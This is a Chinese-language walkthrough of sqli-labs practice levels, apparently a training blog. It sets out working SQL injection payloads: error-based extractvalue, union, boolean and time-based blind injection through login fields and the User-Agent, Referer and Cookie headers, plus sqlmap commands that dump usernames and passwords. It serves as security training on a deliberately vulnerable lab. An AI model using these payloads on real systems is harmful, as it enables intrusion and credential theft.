进入后是个登录页面,应该是基于post的注入,这边准备用hackbar注入,方便一点。看一下源码,两个框的名字分别是uname和passwd
登陆失败,再加一个单引号试试,密码框不输(若是输入密码,报错出来的信息更少;也可同时输入单双引号,这个效果一样)
有报错回显,存在注入,且回显的错误为:‘1’’ and password=’’ LIMIT 0,1。其中1’是我输进去的,另外还有成对的单引号出现,可以看出是字符型。由此猜测sql语句为:select username, password from 某表 where username='用户输入' and password='用户输入' limit 0,1
根据之前的经验我们把后面注释掉,构造1' or 1 #
,其中#是注释符,or 1是为了让那个查询语句为真。
可以看到登录成功。因为报错有回显,我们可以利用联合查询的注入方式,类似Less-1到Less-4,这里不多赘述,给个效果图。
这里主要利用基于extractvalue()和updatexml()的报错注入
经过前面的试探可以确定有两列,联合查询能回显
extractvalue()有两个参数,当我们写入不合法的内容就会报错(合法不会显示),通过报错,可以将我想要查询的东西带出来。基于此我们查看当前数据库,构造uname1' union select 1,extractvalue(1,concat(0x7e,(select database()))) #
或者1' and extractvalue(1,concat(0x7e,(select database())))
,也就是说,报错注入可以不借助联合查询,在没法用union联合查询时可以用报错注入,但前提还是不能过滤一些关键的函数。其中0x7e是~,extractvalue()里第一个参数随意,我这里随便写了个1
可以看到当前数据库是security,和之前的经验一致。接下来看表名,构造uname1' union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()))) #
提交完发现提示不止一行,后面加个limit语句限制输出1' union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limint 0,1))) #
通过更改limit第一个参数查看不同行
也可以这样构造:1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #
查看后发现有个表叫users,下面查列名,构造uname1' union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))) #
如法炮制一一看到列名,下面查具体数据,构造uname1' and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1))) #
concat_ws也可以实现同样的效果,改成concat_ws(0x3a,username,password)
即可。可以看到确实查出来了,但这样有点慢,下面换group_concat试试构造uname1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) #
可以看到显示不全,那是因为extractvalue()函数最多显示32位,于是可以用substring()函数来截取,一段一段的看,构造uname1' and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),1,32))) #
substring函数第一个数字表示起始位置,第二个数字表示读取长度。
惯例提交个1试试,显示登录失败。再提交1’试试,还是登录失败。那换1"试试
可以看到有报错回显,且回显信息为:“1"”) and password=("") LIMIT 0,1。爆出来很多东西,可以猜测sql语句为:select username, password from 某表 where username=("用户输入") and password=("用户输入") limit 0,1
,然后尝试闭合双引号和括号,并注释掉后面的内容,构造1") #
提交
可以看到没有报错,说明语句执行了。接下来用order by 看看列数,order by 2显示登录失败,order by 3有报错回显 ,说明两列。接下来构造1") or 1 #
看看登录成功会有什么效果,结果仍有回显。那么就试试联合查询,构造1") union select 1,2 #
可以看到登录成功并且有回显。然后看数据库名,1") union select 1,database() #
成功查到,然后表名,1") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
成功查到,然后列名,1") union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
成功查到,然后具体数据,1") union select 1,group_concat(username,0x3a,password) from users #
达成目的,整个流程和Less-1到4是差不多的,只不过那个是基于get方式,这个是基于post方式。
回显信息为:‘1’’) and password=(’’) LIMIT 0,1,由此猜测sql语句为select username, password from 某表 where username=('用户输入') and password=('用户输入') limit 0,1
,然后闭合单引号和括号登录看看效果,提交1') #
,可以看到无报错,且登录失败。然后登录成功试试,构造1') or 1#
可以看到登录成功但也没有回显,和前面不一样了,因此联合查询用不了了,因为即便查到了但它不显示出来有什么用呢。这里就需要用到报错注入。详见Less-11。构造1') and extractvalue(1,concat(0x7e,(select database()))) #
成功爆出数据库名,然后构造') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #
成功爆出表名,然后构造1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #
成功爆出列名,看到了username和password,然后构造1') and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),1,32))) #
成功爆出,但是看不全,因为extractvalue只能显示32位,那就通过修改extractvalue函数的参数一段一段看:
1') and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),32,32))) #
惯例提交个1试试,显示登录失败。再提交1’试试,还是登录失败。那换1"试试
登录失败,且有报错回显:"1"" and password="" LIMIT 0,1
,由此可以猜测sql语句为:select username, password from 某表 where username="用户输入" and password="用户输入" limit 0,1
。然后闭合双引号并注释试试,构造1" #
,显示登录失败无报错,说明构造的语句执行了。然后构造1" or 1 #
登录成功但无回显,联合查询注入失效,利用报错注入。构造1" and extractvalue(1,concat(0x7e,(select database()))) #
成功爆出数据库名,然后构造1" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #
成功爆出表名,然后构造1" and extractvalue(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,32))) #
成功看到列名,然后构造1" and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),1,32))) #
成功看到数据,大功告成。
随便输入1,2,显示登录失败,然后构造万能密码看看成功登录是什么样子。构造用户名1' or 1 #
(这里的单引号只是一次尝试,or 1让语句恒真,所以单引号那个位置的闭合符号决定了语句是否有误)
登录成功但啥也没显示,判断是盲注,因为有两种状态,布尔盲注即可。下面不过多叙述,仅列出语句
表名长度:1' or (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())>0 #
表名:1' or (select ascii(substr((group_concat(table_name)),1,1)) from information_schema.tables where table_schema=database())>0 #
列名长度:1' or (select length(group_concat(column_name)) from information_schema.columns where table_schema=database() and table_name='users')>0 #
列名:1' or (select ascii(substr((group_concat(column_name)),1,1)) from information_schema.columns where table_schema=database() and table_name='users')>0 #
数据长度:1' or (select length(group_concat(username,0x3a,password)) from users)>0 #
数据:1' or (select ascii(substr((group_concat(username,0x3a,password)),1,1)) from users)>0 #
下面以列名为例看看用bp爆破的效果,和之前大同小异只不过爆破点设置在报文体中
下面利用sqlmap,随便输入用户名密码1,2,然后抓包,保存在一个txt文件中,这里我命名为1.txt,放在桌面上。从post数据包中注入命令为:sqlmap -r 数据包存放路径
可以看到成功探测到了,后续参数和之前一样,这里不多赘述。
可以进行布尔盲注,不过这里以时间盲注作为练习
表名长度:1") or if((select length(group_concat(table_name)) from information_schema.tables where table_schema=database())>0,sleep(1),0) #
表名:1") or if((select ascii(substr((group_concat(table_name)),1,1)) from information_schema.tables where table_schema=database())>0,sleep(1),0) #
列名长度:1") or if((select length(group_concat(column_name)) from information_schema.columns where table_schema=database() and table_name='users')>0,sleep(1),0) #
列名:1") or if((select ascii(substr((group_concat(column_name)),1,1)) from information_schema.columns where table_schema=database() and table_name='users')>0,sleep(1),0) #
数据长度:1") or if((select length(group_concat(username,0x3a,password)) from users)>0,sleep(1),0) #
数据:1") or if((select ascii(substr((group_concat(username,0x3a,password)),1,1)) from users)>0,sleep(1),0) #
利用sqlmap注入方法:抓包之后将报文复制到一个txt文件中,利用-r参数,后面接txt文件的路径,其他都一样。
进去之后可以看到,是想让我们修改密码。然后不管怎么尝试,无论在用户名框还是在密码框都没用。这时候可能就需要一个存在于数据库中的用户名,于是我们尝试admin用户名,密码为1’
没有报错,说明语句执行了,并且就是单引号闭合。成功无有用信息,报错却有,所以报错注入。构造1' and extractvalue(1,concat(0x7e,database()))#
成功看到数据库,然后看表名:1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
然后看列名:1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))#
然后看数据:1' and extractvalue(1,concat(0x7e,(select substr(group_concat(username,0x3a,password),1,32) from users)))#
却又有报错,然后尝试在子查询里面放查询语句,但也有另外的报错,目前我解不出来。
User-Agent和数据库产生了交互,那么这里就有可能存在注入点。并且用户名和密码框都做了检查,很难注入。
所以我们尝试uagent注入,先成功登录,用户名密码都是admin,然后抓包。在uagent后面加一个单引号,发送。
有报错,报错信息为:192.168.3.10’, ‘admin’)可猜测sql语句为:INSERT INTO security.uagents (uagent, ip_address, username) VALUES (‘ u a g e n t ′ , ′ uagent', ' uagent′,′IP’, $uname)
于是可以构造:','','')#
其中括号用于闭合,中间那两对单引号用于使列的个数匹配,因为#注释掉了后面所有。
没有报错,于是就可以在其中一对单引号的位置自由发挥了。然后报错注入,表名:','',extractvalue(1,concat(0x7e,(select (substr((group_concat(table_name)),1,32)) from information_schema.tables where table_schema=database()))))#
列名:','',extractvalue(1,concat(0x7e,(select (substr((group_concat(column_name)),1,32)) from information_schema.columns where table_schema=database() and table_name='users'))))#
具体数据:','',extractvalue(1,concat(0x7e,(select substr(group_concat(username,0x3a,password),1,32) from users limit 0,1))))#
修改截取的长度即可一段一段看。
利用sqlmap注入方法:抓包之后将报文复制到一个txt文件中,利用-r参数,后面接txt文件的路径,其他都一样。
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器以此可以获得一些客户端信息。
根据上一题的经验,先成功登录进去。
回显了referer。然后抓包,根据提示是referer注入,惯例先加一个单引号。
报错信息为:192.168.3.10’),不够多,那构造'1"
报错信息为:1"’, ‘192.168.3.10’),有个逗号,说明不止一列,并且中间的列是用单引号引起来,最外面有一层括号,构造:','')#
可以看到没有报错,于是那对引号的位置我们就可以自由发挥了。基于报错有回显,我们用报错注入。
看表名:',extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))#
看表名:',extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))))#
看数据:',extractvalue(1,concat(0x7e,(select substring(group_concat(username,0x3a,password),1,32) from users))))#
利用sqlmap注入方法:抓包之后将报文复制到一个txt文件中,利用-r参数,后面接txt文件的路径,其他都一样。
此关考察cookie注入,首先输入用户名,密码(都是admin),登进去后发现页面是这样的:
可以看到给出了一些http报头,其中cookie是uname=admin。然后利用bp抓包,发送到repeater模块便于反复操作。
可以看到有mysql的报错信息了,报错为:‘admin’’ LIMIT 0,1,根据前面的经验,这是字符型。再构造uname=admin'--+
把后面注释掉。
没有报错信息了,接下来和前面的联合查询注入就一模一样了,只不过这里改的是cookie。利用order by 判断出有3列。
构造uname=admin' and 0 union select 1,2,3--+
看当前数据库(也可以省略,因为可以利用database()函数):uname=admin' and 0 union select 1,2,database()--+
看表名:uname=admin' and 0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
看列名:uname=admin' and 0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
看具体数据:uname=admin' and 0 union select 1,2,group_concat(username,0x3a,password) from users --+
由此可见,只是注入位置不一样,其他都是大同小异。
下面介绍利用sqlmap实现cookie注入:
根据前面抓包得出的信息,cookie内容为:uname=admin
然后就可以进行探测了,命令为:sqlmap -u 需要探测的url -cookie "uname=admin" -level 2
只有level达到2才会检测cookie。
可以看到探测成功,然后看当前数据库,命令为:sqlmap -u 需要探测的url -cookie "uname=admin" -level 2 -current-db
数据库为security,然后查看表,命令为:sqlmap -u 需要探测的url -cookie "uname=admin" -level 2 -D security -tables
选定目标表,查看列,命令为:sqlmap -u 需要探测的url -cookie "uname=admin" -level 2 -D security -T users -columns
看具体数据,命令为:sqlmap -u 需要探测的url -cookie "uname=admin" -level 2 -D security -T users -C "id,username,password" -dump